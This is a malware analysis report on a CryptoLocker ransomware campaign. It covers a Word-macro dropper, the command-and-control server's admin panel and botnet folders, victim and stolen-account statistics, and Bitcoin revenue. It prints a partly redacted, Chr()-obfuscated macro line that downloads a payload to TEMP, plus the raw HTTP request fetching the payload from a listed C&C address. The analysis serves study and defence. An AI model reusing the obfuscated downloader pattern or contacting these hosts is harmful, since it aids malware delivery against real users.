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History
“CryptoLocker was a ransomware trojan which targeted computers running Microsoft
Windows and was first observed by Dell SecureWorks in September 2013.
CryptoLocker propagated via infected email attachments, and via an existing botnet;
when activated, the malware encrypts certain types of files stored on local and
mounted network drives using RSA public-key cryptography, with the private key
stored only on the malware's control servers. The malware then displays a message,
which offers to decrypt the data if a payment (through either Bitcoin or a pre-paid
cash voucher) is made by a stated deadline, and threatened to delete the private key
if the deadline passes. If the deadline is not met, the malware offered to decrypt data
via an online service provided by the malware's operators, for a significantly higher
price in Bitcoin”(Wikipedia)

Infection Process
The CryptoLocker infection process start when the Microsoft Office Word is opened.
Microsoft allow users to inject a macro scripting code inside documents, and give
the possibility to execute it automatically when the document is opened.
“A macro is a series of commands and actions that help to automate some tasks effectively a program but usually quite short and simple. However they are created,
they need to be executed by some system which interprets the stored commands”
(Wikipedia)
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Analyzing the documents we
received through a suspicious
mail we extract the macro
inside. The macro used by
hackers to infect the machine
is a Visual Basic module that is
able to create new files inside
the TEMP folder and download
the real malware from a C&C
server through an HTTP GET
request. To avoid antivirus
detection the malware is
represented by a .PNG image
containing a VB code inside.

Fig. 1Bitcoin description

Here is a sample took from the original macro that show how the malware can
communicate with his C&C server and how the code is obfuscated.

1. xwrr5e2ngn3ofo65cnfwctqt7rvvyxzu0gbdg47u8h3zgt9hcb Chr(104) & Chr(116) & Chr(116) & Ch
r(1xx) & Chr(x8) & Chr(4x) & Chr(47) & Chr(49) & Chr(48) & Chr(57) & Chr(46) & Chr(xx)
& Chr(xx) & Chr(xx) & Chr(4x) & Chr(49) & Chr(xx) & Chr(xx) & Chr(46) & Chr(xx) & Chr(
57) & Chr(xx) & Chr(9x) & Chr(x) & Chr(xx) & Chr(110) & Chr(103), Environ(Chr(1xx) & C
hr(1xx) & Chr(1xx) & Chr(112)) & Chr(92) & Chr(74) & Chr(75) & Chr(87) & Chr(84) & Chr
(89) & Chr(65) & Chr(68) & Chr(88) & Chr(74) & Chr(85) & Chr(77) & Chr(46) & Chr(101)
& Chr(xx0) & Chr(xx1)

Many characters are obfuscated (xx) on purpose. The macro we found inside is a
VB macro with many functions to hook the malware and download the real .exe
from another server.
The algorithm used by the malicious encryption is ordinary and the process
injections are as follows:





WINWORD.exe
o JKWTYADXJUM.exe
 JKWTYADXJUM.exe
 explorer.exe
o vssadmin.exe
o iexplorer.exe
svchost.exe
Fig 2 – Injected process

After the dropper executes the malware the system is encrypting the personal
files with public PGP key and storing the private key in the CC server with time
bomb.
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Network Activity
When the macro starts, HTTP requests are sent through the network to four
different IP address:
IP

Country

Pingable

Open Ports

23.64.165.163

United States

unknown

unknown

195.186.1.121

Switzerland

unknown

unknown

46.161.30.19

Russian Federation

unknown

unknown

109.105.193.99

Bosnia and Herzegowina

unknown

unknown

We can see the network connection whit the map below where the red areas show
the malware request to download new files (from Russian server) and redirect the
user n the decrypt portal.

Fig 2Network activity map

The first request sent over the network is made to download the real malware from
the C&C server.
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GET /a.png HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;
.NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: 109.105.193.99
Connection: Keep-Alive
Fig 3HTTP GET request to downoad the real malware

This is the real malware that will encrypt the infected user file. When the malware
is on the infected machine and is injected in the explore.exe process, the encryption
start. Cryptolocker perform also other two request to the server to download two
.CRL file.
Certificate Revocation List (CRL) is one of two common methods when
using a public key infrastructure for maintaining access to servers in a
network.
GET /pca3.crl HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: crl.verisign.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache
Fig 4First certificate download

GET /CSC3-2009-2.crl HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: csc3-2009-2-crl.verisign.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache
Fig 5Second certificate download

After this point the victim is hooked on the C&C server and there is no way to

User
experience
receive “bad”
the encrypted
files without paying the ransom where there is a lot of case
where victims pays the ransom but they never receive the unlock keys.

When an infected user open the fake document, an instance of Internet Explore
appear. Is a simple message alerting the target that his PC is infected by a
Cryptolocker virus and the only way to decrypt files is to buy a customer decryption
software.
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Fig 6 First Cryptolocker screen

Every single target has own username identifying his profile and the portal
language. Below an example of the website used by attackers to “help” the user
in the decrypting process.

Fig 7Descryption website
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As we can see the requested amount for
this user is 500$ =3.19 BTC to decrypt
all the encrypted files. If you don’t have
a BTC wallet the website give you a FAQ
section with every explanation on how to
create one and how make the payment.
Fig 8 FAQ section

To be trustable the attackers expose a service to decrypt only one encrypted
file with “.encrypted” extension, in the “Decrypt Single File” section.

Fig 9 Form to decrypt a single file

Finally they offer a mail customer service where targets can send an help
request. In a nutshell they will receive the request by they will never give an
answer.

Fig 10 Support form

This panel is target-oriented and changing the username inside the request can
show that is developed to hit a lot of countries due to the variety of the
translations. We think that this malware is targeting at least 20 different
countries with a special attention on Italy, Netherland and Spain.
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Here a list of some username with the associated Country:
Username

Country
Italy
Deutschland
UK
Netherland
Spain

h4qpk9
lhoil9
ku3rc9
aosba9
gn4aa9
Table 1 Username of infected users

Inside the C&C server
The functionality of the CC server is designed to operate in autopilot.
There is a two main functionality, one for the victim “user” and for the admin “admin”.

Fig 12 Templates used to build the cryptolocker
webpage

Fig 11 Single template pages

The admin can configure the CryptoLocker and the settings of the C&C server with the
infection kind and amount of money they will request from the victims.
The attackers can define an INDEX landing page for the specific counties with the amount
of the ransom where they can define the before and after amount.

Fig 13Control panel to upload a new temaplate
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The configuration page for the
attacker where he can define
the contact e-mail and tor-url
for
the
communications
between the victim and the
attacker. Also we can see here
the payment URL – Bit-coin
wallet setups. The most
important option here is the
decryption key and application
that C&C will deliver to the
victim after the payment.

Fig 14Admin control panel to set the Bitcoin ID to receive the payments

Infected victims are inside the folders BOTS where the system is creating a new folder
after every new spread phishing attack.
Every single Botnet contains different folders:




mails: targeted account from
different countries
smtp: stolen account used to spread
the phishing campaign
errs: errors generated by the
Cryptolocker

Fig 15 Botnets used by Cryptolocker

. The BOTNET number 11 contains 2.172 infected victims hostnames.

Fig 16 Errors log file
generated by the malware
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The botnet 11 have 2.172 infected victims.
The mails folder contains “CSV” files with email addresses used in the spread spam
attack.
File “GB.csv” contains 12.904 mail addresses
with full name and surname of the targeted
victims. Below an extract of the data inside
every single file.

Fig 17Mail section

The total amount of the targeted victims inside the BOTNET11:
•
•
•
•

ES.csv = 2580
GB.csv = 12.904
IT.csv = 9.689
NL.csv = 1.809

TOTAL = 26.982

Fig 18 Mail target example
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SMTP Folder contains hacked SMTP
accounts that attacker is using for the SPAM
delivery. Inside these files we found the
username and password of the stolen
accounts. During our analysis we have seen
a lot of high risk victims like government,
law enforcement, lawyers.
Figura 19 SMTP stolen accounts section

Fig 20 SMTP stolen accoutnt extraction

Here we can see 125 valid hacked accounts ready to be used for SPAM.
Analyses for the botnet number 12 shows more targeted counties. Also the most interesting
founding here is the folder named “feedback” where attackers keep their chat and email
logs talking to the victims.
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Feedback folder contains 3 log files,
where the attackers write messages
sent by user through the “Support”
section. Here we can see:




dontknow.log
other.log
payment.log

This division is related to the message
object the user can select.
Below an example of this log file

Fig 21 Feedback section

Fig 22dontknow.log extract

Fig 23other.log extract

Fig 24 payment.log extract
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Fig 25 dontknow.log secodn exmaple

A lot of the victims didn’t receive the promised unlock keys, so this is a
proof that is not good to pay them a money because they will never ever
provide you the keys for unlock.
The list of the targeted countries her is more than botnet 11.
The hacked accounts
ready to be used
from spam is also
matching
the
targeted countries.

Fig 27smtp section for the botnet 12
Fig 26 mails section for the botnet 12

User Folder details:
Based on the system language and geo-location the malware is redirecting the user
to the ransom-page for the payment designed on their language.
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Here we can see the landing page for the victim for the English speakers.
The HTML file are the templates
used buy the php user pages to
select the different languages.

Fig 28 template for the UK targets

Source Code of the C&C Server
Inside the “INC” folder we found the full source code of the CyrptoLocker C&C Server.

Figura 29Cryptolocker source files

This is the “heart” of the malware. This code is used to encrypt, decrypt, transfer
money and save into a DB all the grabbed informations.
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Statistics
During our analysis of the C&C server we found the mail targeted by the CryptoLocker
malware. The spreading process is performed by compromised SMTP account from
different countries. In many cases there are also government and public institutions
email and password. Below there is a statistical analysis about these data divided by
botnets.
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Graph 1 Botnet 11 mail numbers

The first botnet is mainly focused on four different countries:
 Spain (2580 email)
 United Kingdom (37138 email)
 Italy (9689 email)
 Netherland (9299 email)

Botnet 12 Target Mail
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Graph 2 Botnet 12 mail numbers
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The second one is targeting more countries worldwide, but the main goals are the
same countries of the first plus North Carolina.
The third one is pretty focused on Italy and Netherland where the attack is
compromising a lot of industries and companies machine.

Botnet 19 Target Mail
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Graph 3Botnet 19 mail numbers

Finally the last one tries to compromise Austria, Belgian and Netherland PC.
We can resume the target countries in the graph below.
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Graph 4Botnet 20 mail numbers
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Botnet Nation Targets
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Graph 5 Resume og the target Countries

During the analysis we found also the SMTP accounts used by attackers to spread
the malware worldwide. Below a resume of compromised mail found inside the C&C.

11
12
13
15

AU

ES

FR

GB

ID

HU

IN

3
355

226

1
3

2
2

1

2

1

IT
126

NL

NZ

RS

591

3

1

Table 2 Compromised SMTP accounts

We can resume these data in a pie chart with the targeted countries. More of the
compromised mail are from Austria, Italy, UK, Netherland and Spain, but also from
some state in USA.

SMTP Stolen mail/password

AU

BE

CA

DE

EG

ES

GB

IT

NC

NL

US

Graph 6 Most target countries
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Finance impact of the CryptoLocker
How a Ransomware CryptLocker can make you rich?
The right answer is “a lot”. During the analysis we found the main Bitcoin ID where
the attackers receive the money from the infected users. The attackers reached
64.561.58 $ until now in this wallet, but they are distributing the BTC around other
sub-account on every transaction.

Fig 30 Bitcoin attacker ID on Blockchain

Here is a sample of the BTC-splitting in different sub-account

Fig 31 Other attackers account

We can estimate revenue of million dollars based on the target numbers.
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Appendix A
This article is mainly focused on the C&C server used by the new Cryptolocker
malware.
If you want to know more about the Cryptolocker malware analyses follow this
links:



http://www.isightpartners.com/2014/08/analysis-torrentlocker-newstrain-malware-using-components-cryptolocker-cryptowall/
http://www.bleepingcomputer.com/forums/t/549016/torrentlockersupport-and-discussion-thread-cryptolocker-copycat/
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